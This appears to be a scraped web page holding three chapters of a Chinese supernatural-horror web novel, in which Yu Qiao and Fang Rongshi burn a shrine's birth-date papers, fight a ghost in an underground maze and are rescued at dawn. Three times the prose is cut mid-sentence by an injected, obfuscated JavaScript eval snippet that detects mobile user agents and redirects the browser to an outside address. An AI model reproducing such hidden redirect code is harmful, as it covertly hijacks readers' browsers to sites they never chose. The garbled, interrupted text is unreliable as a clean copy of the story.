“我不知道。”陶媛摇摇头,“但是既然溶洞没有,那么应该在祠堂?我听说祠堂下面还有间地下室,或许藏在那里吧。” 两人还没说几句,身后传来了一阵愈来愈近的喧哗,然后一束光穿过树林射-了过来,两人赶紧躲在树后。 “我往左边,你往右边,我先跑。”陶媛丢下一句话后就蹿了出去,还特地踩了几根树枝发出声音,追兵一听这动静就立马忙不迭地追了上去。 见其他人的注意都被吸引走了,郁峤也打算离开,结果刚一起身才往前走了一步就踩空摔了下去,狠狠摔在了一堆杂草上面,也是不幸中的万幸,这个坡不算太深。 虽然杂草,但从将近一米二的地方猛然摔下来也不会多好受,郁峤摸索着想找个东西支撑着起身,一伸手就摸到了一个冰凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200501|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西,不大,但格外突兀,再一摸,上面好像还刻着什么东西。 靠北哦。郁峤心里冒出三个字。 摸索着从包里找到手机,开机,借着手机屏幕的灯光,郁峤看清了自己摸到的是个什么东西。 毫不意外,一块石碑,比平常能看见的石碑都小,约莫就一块十三寸的iPad那么大,上面写的内容也很简单,就是一个人的名字,除此之外再无其他,连装饰的花纹也没有。 好敷衍的墓碑。 突然想起陶遂说过,说村后就是一片会闹鬼的坟地。郁峤心里咯噔,紧张地四下看了一圈,貌似并没有什么奇怪的身影。 郁峤松了口气,朝墓碑双手合十拜了拜,然后打开手机打算给路清发消息,却发现手机没有信号,尝试打110也没有能拨出去,试了好几次后郁峤放弃了。 现在不管是鬼还是人都挺可怕的。郁峤拍了拍胸口,自己安慰自己,总之现在是赶紧离开这个是非之地,路清发现联系不上自己估计早就报警了,自己只要坚持到警察过来就好了! 这样想着,郁峤刚一站起来,就突然被一个什么东西拍了拍肩膀,那东西好像没有实体,像一阵有力量的风,重重地对着她的肩膀吹了两下。 郁峤下意识想要往身后去看,但又想到之前遇见同样的事情方容时让她别回头,愣是忍住了这个冲动。 没一会儿,又拍了拍她另一边的肩膀,郁峤不敢动,但又觉得不能一直杵在这里,于是迈开步子打算离开。 这时一阵风刮起,掀起的灰尘与草屑让郁峤举起手臂遮挡,放下手臂时,发现明明刚刚什么也看不清楚的树林里此时似乎有点点荧光,不亮但郁峤能看清周边的环境了,看见前方不远处有一处白色的身影,站在那里,招手示意郁峤过去。 这时的郁峤不知道为什么,心里居然没有了害怕,并且下意识认为对方没有敌意,但她依旧还保持着清醒与警惕,没有草率地走过去。 这时身后一阵窸窣的声音让郁峤猛然一回头,只见一个熟悉的身影从树林里冒了出来,那双漂亮的瑞凤眼出现时,好像全世界都安静了下来,连树上吵闹的蝉叫声似乎都消失了。 “方容时?”郁峤似乎没有多大意外,但还是叫了声名字确认。 “嗯,是我。”方容时点点头,走到郁峤身边,他穿着今天早上的衣服,身上沾着不少鸡零狗碎的草渍,看得出来也是在山林里摸爬滚打了一段。 方容时看向那道白色身影,点了点头,又看向郁峤:“东西带了吗?” “带了。”郁峤从包里掏出桃木剑,“就是还差鸡血,也不知道那东西在哪里。” “这个没关系的,我们跟着她走就好了。”方容时伸手示意郁峤往白色身影那边看去,此时郁峤发现自己身边又出现了很多同样的身影,与那时在雾气里看见的极其相似。 “她们是……”郁峤刚想问,但心里又突然领悟到了答案,顿时放下了心里的戒备,“所以,在哪里?” “祠堂。” 21. 第21章迷宫 今天的村子里难得的热闹,在原本万物俱静的时间里村子上上下下灯火通明鸡犬不宁,都在为了那几位不安分的年轻人上蹿下跳。 那些前去追郁峤的村民追到后来压根没找见个人,陶媛一个迷惑走位直接钻进追人的队伍里去了,让其他人追了个寂寞,陶媛本人也装作疑惑的样子,好像自己也是来为村子出一份力的。 那时引开看守郁峤村民的是陶苑与陶慷,陶慷在村子里上蹿下跳一阵后钻进了树林里往山下跑去了,引开了不少人力。 夜里的树林,什么也看不清楚,每一处树枝树叶都像一个人影,正偷偷摸-摸地看着他们,下一脚不知道会踩在哪里,不知道小腿粗的草丛里会有什么令人毛骨悚然的小动物,每一步都走得心惊胆战。 郁峤从小就非常抗拒进入这样的林子里,怎么也没想到有一天她居然会大半夜在林子里瞎窜,真是活久见。 郁峤与方容时跟着白色身影的指引深一脚浅一脚摸索着向前,在黑暗的树林里郁峤根本分不清楚方向,只能知道自己大概是在向上走。 因为之前跑出了一身汗夜风吹来便激起一阵寒意,郁峤忍不住打了一个喷嚏。 “给你。”方容时将系在腰间的外套解下来递给郁峤。 方容时的衣服套在身形偏瘦弱的郁峤身上略有些宽大,但聊胜于无。 前方的白色身影在不远处引路,身边那些无法用科学解释的光源勉勉强强能让郁峤看清方向,越往前走,郁峤就越觉得难受,不管是精神上还是肉-体上她都觉得不对劲。 手上的红痕像是有了实质,真的像一根绳子将她的手腕越缠越紧,似乎是要将她的手勒断,脑袋里像是有人在她的神经上跳舞,太阳穴突突地跳着,心口也隐隐觉得不对劲,心脏的跳动让她觉得心慌作痛。如果此时方容时能看清郁峤的脸,肯定会被郁峤惨白的脸色吓一跳。 她知道前面有什么东西在等着她,看她一步一步地走近走进,然后张开血盆大口。 郁峤将手伸-进包里紧紧握住了那把短款的桃木剑,她将把这把剑刺进拿东西的身体里。 黑暗里,一只手伸过来准确地握住了郁峤的手腕,然后牵上了她的手。 没做过什么体力劳动的手没有什么茧子,皮肤细腻温和,手指修长比郁峤的手要大上不少,几乎将郁峤的手给裹在手里了。 郁峤平常并不喜欢牵手,认为牵手是一件很亲密的事情,甚至比拥抱还要亲密一点,所以从小到大也没怎么跟别人牵过手。 郁峤本来下意识想要挣脱,但又很快放弃了这个想法。她发现自己其实并不排斥方容时,温暖的体温从手部逐渐延伸到身体各处,像是给心灵与身体都加上了一个支撑,让郁峤的心稍微踏实了一些。 “你今天下午去了哪里?”郁峤忍不住问,毕竟一个大活人,身上还同她一起绑着根绳子在她身后就这么消失不见了,也太匪夷所思了。 “抱歉,没跟你商量就擅自行动了。”黑暗里方容时的声音平稳极了,可以感受到他稳定的情绪,“需要我给你解释吗?” “需要你给我解释你是怎么做到的。”郁峤明确指出自己好奇的地方,“还有,你到底是谁啊?” 对面没有很快回答,应该是在思考该如何回答。 两人穿过一座又一座坟墓,一路上郁峤似乎看见了不少影子,但都迷迷糊糊的,分不清楚是自己在黑暗里眼花了还是真的有身影站在那里了。 “你要是不想告诉我,就……”郁峤也不想为难对方,刚开口,一阵风裹挟着沙石迎面卷来,逼迫郁峤闭上了嘴,抬手挡住风沙。 “到了。”顺着方容时的声音抬眼望去,一座古老阴森的建筑赫然出现在眼前,前面引路的白影突然被风一吹像雾气一般消散了。 建筑外形与南方这边的大多数祠堂差不多,前面是一段台阶,台阶上三扇门一字排开,一-大两小,高大隆重的木质大门紧闭着,上面布满了时间打磨出来的沧桑,门前的两个硕大的红灯笼发着昏暗的红色灯光,将前面的一片区域都照得像刷了一层红油漆,红的瘆人,未被照射到的地方只能通过微弱的月光模模糊糊地看见一些边缘,通过边缘能推测出出这座建筑的规模,像一座建在地面上的陵墓,看得让人感到巨-物恐惧。 郁峤手心里全是手汗,于是将手从方容时手里抽了出来,两人对视一眼,抬腿迈上台阶。 两人走到门前,正要推门,嘎吱一声,木门缓缓打开,里面却空无一人,风从门内涌出,穿过门逢时发出类似女人嘻笑或者哭泣的声音,里面正对着的是屏门,上面雕刻着山林风光与一只盘旋在天上的慈眉善目的男人,脸上几乎没有细节,但郁峤就是能看出这是一个男人。 绕过屏门继续往里走看见前堂,前堂的大门中间站着一个人,黑乎乎的,像是一条人型木炭杵在那里,郁峤呼吸一滞,强忍着才没有后退。 “别怕。”方容时上前一步将郁峤挡在身后,目光如刀,直戳向那黑色人影。 前堂后面就是摆放着排位的地方,橙红色的烛光影影绰绰,空气里弥漫着有些呛鼻的味道,是祭拜别人时烧的那种香,熏得郁峤有些头昏脑胀。 “生辰八字在牌位下方,直接拿火烧掉就好。”方容时毫不忌讳黑影,就这么大啦啦地说了出来。 “明白。”郁峤点点头。 “郁峤。”黑影此时终于有了动作,它嘴里念着郁峤的名字,声音里听不出有什么感情,迈开腿,走得很稳,一步一步朝两人走来,“郁峤。” 看着这样一个东西嘴里喊着自己的名字,很难不让人觉得毛骨悚然,郁峤觉得自己的太阳穴突突地跳,胃里也是一阵翻江倒海,现在看见的场景能让她未来的几十年里午夜惊醒无数次。 “先烧八字,然后往后跑,后面有一条地道,你先进去,我随后就来。”说这,方容时将郁峤往旁边一推,猛然往前朝黑影冲了上去。 郁峤看着方容时的手快速在胸-前做了几个手势,然后似有一股无形的力量刺向了黑影,立马将黑影定在了原地。 郁峤也不耽误,见黑影被限制,立马原地加速迈开步子绕过黑影冲了过去,甚至没来得及近距离看它一眼。 跑到供奉着排位几乎要有两层楼高的架子前,拿起旁边燃烧着的白蜡烛,掀开供奉桌的桌布往下一看,果然看见了一堆堆在一起的红纸,就这么放在桌子下面,堆成了一排,不知道是多少为女性的红纸,郁峤毫不犹豫的将手里的蜡烛丢进了纸堆。 红纸霎时就燃气了熊熊火焰,炙热的黑气从桌底争先恐后地冒了出来,火焰蔓延很快,火势变大后很快将这木质的桌子也给一并吞没了。 热气逼人,郁峤拿起旁边的一只蜡烛转头跑到后面,后面摆放着不少看着瘆人的白脸纸人,突然齐齐转身漆黑的眼珠子齐刷刷地盯着郁峤。 虽然被吓的心里一抽,但此时也不知道是谁的戾气更重。郁峤毫不犹豫地抬脚就将离自己最近的纸人踹倒踩在脚下,狠狠用脚后跟揉拧了两下,抬眼目露凶光,举起手中的蜡烛将靠近她的纸人点燃。 这种制造出来本来就是为了烧掉的东西燃烧速度很快,郁峤边烧边踹,很快就突出重围找到了方容时说的地道入口,打开门用蜡烛测试了一下空气是否正常后便跳了下去。 下去后郁峤从包里拿出了手电打开,眼前刚好能通一人,可能不足一米八高的通道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229686|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着就让人觉得压抑恐惧,空气里是潮湿阴冷的味道,似乎还有一些霉味,再加上压抑的空间,郁峤差点有一口气没喘上来,光是视觉上就要窒息了。 给自己加油打气后,郁峤往前走去,才走了几米,就发现了一段岔路,将郁峤难在了原地。 但很快就有人催促着她做了选择,因为有一束光打在了她身上,有人追了上来。 “在这里!”那人大喊。 郁峤不再纠结,头也不回,随便选了一条钻了进去。 后面追着好几个人,但好在通道狭窄,郁峤身型较小,在这个通道里奔跑起来也不觉得困难,郁峤虽然许久不运动了,但当年在学校里体育也还算可以,跑步更是不在话下,又有地形优势,手电一关很快就在其拐八绕的地道里将人给甩掉了。 这个地下居然还有一个迷宫?虽然暂时甩掉了追兵,但郁峤意识到了一个更严峻的问题,她不认识路,在刚刚的逃跑中她就认识到了这个地下迷宫的复杂,也不知道是谁想出的馊主意,估计是怕人找到那东西的真身。 也不知道方容时怎么样了,他也进来了吗?还被抓住了?还是逃脱了? 郁峤靠着墙壁调整着自己的呼吸,可能因为是在地下空气不流通,郁峤觉得呼吸稍微有点费劲,剧烈的运动出了许多汗,身上湿的像是从水里捞出来,头发跟衣服都粘在身上了。 墙壁是潮湿的泥壁,散发着一股泥土特有的味道。 追兵的脚步声逐渐消失了,郁峤才摸索着靠着墙壁前进,她不敢开灯,怕那些人靠着光源找到她,但不开灯自己也不知道自己在哪里。 跟口罩难题一样啊。 通道安静又黑暗,郁峤能清楚的听见自己的呼吸与心跳声,甚至觉得它们有些吵闹,她害怕有东西能通过这点动静找到自己。 话说,刚才进来的那个通道是唯一的出入口吗?万一那些人因为抓不到自己就将自己关在里面打算困死自己怎么办?还有那个东西会出现在这里面吗?现在这个里面黑咕隆咚的,自己看不见那东西不代表它看不见自己啊……越想越害怕。 就在又一次来到岔路口的时候,突然一只手从后面捂住了郁峤的嘴,将郁峤揽进了怀里。那人离郁峤很近,但郁峤却丝毫没有听见那人的脚步声,就这么悄无声息地出现在了她的身后。 是谁!郁峤下意识要挣-扎,一束灯光亮刺痛了已经适应黑暗的眼睛,两秒秒后才缓过来,发现是手机屏幕。 是自己的手机屏幕。 我手机不是在包里吗?!郁峤一惊,往后看去。 只见硕大的一双眼睛正盯着她,嘴角直列到耳根的笑着,露出森森白牙与猩红色的牙龈,这时郁峤才闻见它身上散发着的腐-败臭味,让人作呕。 郁峤最开始是被吓到四肢无力,差点就要晕过去了,但很快就不知道从哪里又找回了力气,从包里掏出桃木剑,反握住狠狠朝身后刺去,刺入了那东西大概大-腿的位置。 一声应该叫吃痛哀嚎的声音,那东西稍微松开了郁峤一点,郁峤趁此机会用力一挣脱,不要命得朝前跑去。 太可怕了太可怕了!郁峤能感觉到身后有东西在不断逼近,但没有那个勇气与时间去看,而且黑乎乎的,什么也看不见。 “郁峤!”熟悉的声音从前方的通道传来,郁峤看见了一束灯光。 “我在这里!”郁峤高呼,下一秒就看见了那令她心安的身影,方容时出现在了前方的岔路口,“方容时!” 方容时听见声音后扭过头,看见了郁峤,作势要跑来,就在两人之间还差几米距离时,突然前面又变回一片漆黑了,原本的通道在郁峤冲上去后发现时一片冰凉的墙壁。 22. 第22章清晨 “我-草!!”郁峤忍无可忍地爆了声粗口,一脚踹在墙壁上,快速用手摸索了一遍四面的墙壁,看看是否是岔路,但很可惜,那东西显然不愿意郁峤有机会逃走。 后面的压迫感越来越强,郁峤知道那东西在靠近,刚才那东西能离自己这么近并且还接触到自己,那就说明在这里身上的护身符已经没什么大作用了,但手里的桃木剑还有些杀伤力。 刚才看见的方容时应该不是幻觉,他肯定也看见自己了,郁峤定了定神,将手中的桃木剑握紧,转身面对黑暗里的那东西,黑暗的半空中漂浮着那三个按照人类面孔排列组合的器官在眼前逐渐放大。 极度的紧张与恐惧让人感到口-干舌-燥,郁峤既害怕又不得不盯着它。 “郁峤。”那东西嘴巴一-张一合,却依然保持的微笑的表情,它似乎认定眼前的女孩已经无路可逃了,不急不忙地朝她靠近,嘴里还叫着郁峤的名字,一会儿是路清的声音,一会儿是陶媛的声音,还有方容时的声音,“郁峤,郁峤……” 这样的套路已经吓不到我了。郁峤闭上眼睛,双手握住剑柄定在腹侧,身体向前倾,脚下猛然发力,像一只突然爆发的花豹,撞到那东西身上后狠狠将桃木剑往前一送,一阵让人无比难受类似于指甲挂黑板令人牙酸的摩-擦感从木剑上传递到手上,震得郁峤差点没拿稳。 虽然不知道插在了那东西的什么地方,但那东西似乎很震惊,保持着那一个姿势不动了,郁峤知道那张脸就在自己上方,也不敢抬头去看,只是用力把剑拔出然后举起打算再刺一剑,但这次却被那东西抓住了手腕。 粗糙的感觉,让人忍不住想要甩开,但奈何那东西力气大得惊人,郁峤拼死挣-扎也未能挣脱。 那张骇人的脸几乎要贴在脸上,臭味直钻鼻腔,熏得让人昏厥,郁峤只好紧闭双眼不去看。 就在郁峤内心大喊吾命休矣并且开始回忆人生走马灯的时候,忽觉手上一松,没有力量支撑的郁峤就这么跌倒在了地上,还不等郁峤反应过来发生了什么,一道白光直射过来,强烈的光线直接让郁峤进入了短暂的失明状态,随后一只手抓住了郁峤的手腕,直接将人从地上拎了起来。 郁峤啥也看不清楚,只能随着力度站起来凭着感觉跟着跌跌撞撞地跑,没跑几步就摔了好几下,也顾不得膝盖手掌的伤口,只是一味的跑着。 不管对方是谁吧,只要是个人就行了。 在适应了灯光后郁峤终于看清了来人,是方容时! “快上去!”在跑上一个斜坡后方容时用手肘用力撞了几下“天花板”,很快就撞开了一道共一人通过的口子,转身就将郁峤往上一托,将郁峤送回了地面,随后在双手一撑,自己的半个身子也探出了地面,随后快速将脚一缩。 “快刺!”方容时将一块大约二十厘米的人形黑炭丢向郁峤,郁峤心领神会一把接住,发现上面已经沾满了血迹,不假思索地举起桃木剑狠狠刺了下去。 此时天已经蒙蒙亮了,上山雾气大,大得似乎怎么也散不开,三米外的东西都是一片虚无,但就在桃木剑刺入那东西后的那一刹那,太阳突然出现,明媚炙热的阳光烤干了山上的雾气,眼前的一切都豁然开朗,脚下的地道里传来一阵震动和哀嚎,然后再没了动静。 郁峤觉得身上似乎有什么东西被卸了下来,忽然觉得一阵轻松,一脱力,桃木剑跌在了草地上,人也实在没了力气仰面倒在了草坪上,恍惚了一阵后突然想到了什么,猛然爬起来,看向方容时。 之间方容时就坐在原地,神色也是一脸疲态,左手正捂着右手,鲜红色的液体正从手指缝里缓缓的流出来。 “怎么回事!”郁峤被吓得一激灵,也顾不得极限运动了一个晚上的疲惫,连滚带爬地爬到方容时身边,想要检查他的伤口。 “没是,就是没有公鸡血于是拿自己的血代替了。”方容时这个时候还笑得出来,郁峤已经要吓得魂飞魄散了。 “然后你就割腕了?”郁峤觉得一阵头晕眼花,“我的妈呀,你……不知道警察到了没有。” 回头一看,只见原本应该山青秀丽的山间此时却浓烟滚滚,仔细一闻空气里还有一股木材燃烧的刺鼻味道。 糟,放火烧山,牢底坐穿了。郁峤隐约记得好像自己之前就放一把火,这下闯祸了。 “我没事。”方容时用力捂着伤口,脸却还是云淡风轻,“割得不深,等下去医院包扎一下就好了。” “你……”郁峤本想再说什么,却听见了远处传来的警笛声,警察来了! 郁峤大喜过望,这时方容时的手机响了起来,打开一看,是路清打来的电话。 “你们两个要吓死我了!”路清的声音响彻整片树林,惊得鸟儿都扑啦啦地飞了一片,“你知不知道我打了多久你们的电话了?!怎么回事啊!郁峤你真的是……” “我手机掉了,你别着急骂我了,容时受伤了在流血,我开定位你快带警察过来送他去医院!”郁峤快速回答完,然后退出通话界面打开定位。 “你别着急,路清他们很快就上来了。”郁峤坐在方容时的身边,让方容时靠着自己。 方容时也是真的疲累了,轻轻靠在郁峤身上松了口气。 “你还没回答我的问题呢。”郁峤想起进地道之前问的问题,“你到底是什么人啊?” “从生理上来说,我真的是个普通人。”方容时笑到。 “普通人还能跟那玩意硬刚?”郁峤才不信,“还有你的血,可别跟我说是因为你是男童子才有类似公鸡血的功效。” “其实,我是来人界进修的。”方容时想了想回答到。 “人界?进修?”郁峤歪着头消化着这两个词语,清晨的阳光照在她脸上,像是给她镶上了一层金边,郁峤这时才反应过来,现在居然已经是第二天早晨了。 “嗯,走进人民群众,才能更好的服务大众啊。”方容时咧嘴笑了,这是郁峤第一次见他笑得这样开放,不像平常那样矜持礼貌,整齐的牙齿毫不忌讳的露出来,眼睛弯弯的,再搭配上金灿灿的阳光,好像要跟周围的环境融为一体了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240342|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “所以你是……” 路清跟着定位带着警察很快就找到了两人,只见一个人穿着脏兮兮的T恤,脸上身上不知道从哪里碰到了黑呼呼的一-大片,特别是嘴上的那一圈,活像欢乐斗地主里的农民,在看见的第一眼路清就忍不住笑了。 “在笑什么?”郁峤没有镜子,不明白路清在笑什么,“你该不会中邪了吧?岑骅呢?让他过来给你驱邪。” 路清强忍着笑意,翻了一圈也没找到镜子,于是将手机打开前置递给了郁峤。 一点也不好笑。郁峤愤愤将手机咔嚓关闭。 反观另一位,有郁峤这个衬托,方容时看起来“体面”多了,就是那从手腕处流出来的血有够让人触目惊心的,吓得警察跟医生赶紧简单包扎一下把人送下山了。 “我的天哪,你们昨天晚上在山上到底遭遇了什么啊?”看见这个场面,路清忍不住咽了口唾沫,见郁峤起身都有些费劲赶紧去拉了一把。 “说来话长……”郁峤在路清的搀扶下站起来跟着警察往村里走去,“话说我还以为你会很快就报警的,结果怎么天亮了才到啊?” “你们在山上死里逃生我们又何尝不是啊!”路清一脸“我的努力可不能被淹没必须也要让组织看见”的表情,“到了没联系上你跟方容的时限后第一时间我就准备报警,结果您猜怎么着?报警电话打不出去!断网了!” “猜测可能是山上信号不好或者是什么东西干扰,于是我就跟岑骅开车下山打算找个有信号的地方再打电话,结果您猜怎么着!明明上山下山就一条路,最多就两个小时车程吧!我们硬是从下午七点开到了晚上十一点开到山下,一路上又是路中间有人拦路又是窗户被砸东西又是大树倒地上,还有特别浓的雾气,我都不敢开快,生怕下一秒就冲山下去了。” “岑骅说我们是遇见鬼打墙了,我想也是,但岑骅这小子根本不靠谱,鬼打墙也解不开……磨磨蹭蹭那么晚才跑出来。” 说起昨天晚上的事情路清的经历也是精彩,从她眼下的青灰色也能看出确实也奔波了一整晚。 “一想到明天就得回去上班了……”路清眼睛里瞬间失去了光彩。 “别说了。”郁峤觉得头晕得更厉害了。 下山路过祠堂,夜里天色太暗郁峤没来得及看清这具体是个什么样子,到了今天早上已经烧塌了一-大半了,还有股股灰烟从废墟里飘出,消防员正拿着水枪朝里面滋水,依稀能看出祠堂规模不算小,就连废墟也能推测出之前的规模之大。 那些红纸应该也烧干净了吧?话说110、120、119来得还真是齐全啊…… 方容时说那天他们上山车子熄火是因为有人拦路,其实就是郁峤看见的那些人影,就是之前的那些被迫害的女性,因为生辰八字被压-在祠堂里,所以没法离开这里,郁峤的那一把火将埋葬在这里的许多人放回了家。 “你身上没啥大伤吧?诶呀,不管了,你也快走吧,跟方容时一起坐车去医院去。”路清拉着郁峤快步追上前面的医生警察。